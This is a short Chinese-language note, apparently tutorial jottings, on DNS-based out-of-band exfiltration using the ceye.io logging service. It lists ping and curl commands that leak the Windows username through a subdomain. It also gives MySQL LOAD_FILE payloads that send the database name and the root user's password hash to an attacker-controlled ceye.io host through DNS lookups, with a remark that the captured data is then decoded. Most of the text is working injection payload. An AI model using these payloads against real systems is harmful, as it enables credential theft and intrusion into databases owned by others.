首先 ceye是一个网站 不是一个应用程序
这个是他的网址
操作:
ping %USERNAME%.b182oj.ceye.io
curl sk7s6n.ceye.io
核心语法:Loadfile 函数只能在windows操作系统执行,所以目标一定要是windows操作系统
SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.mysql.sk7s6n.ceye.io\\test'));
官方用法:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
具体使用(将就看吧,视频截出来懒得手打):
将获得的数据decode 即可获取原本的信息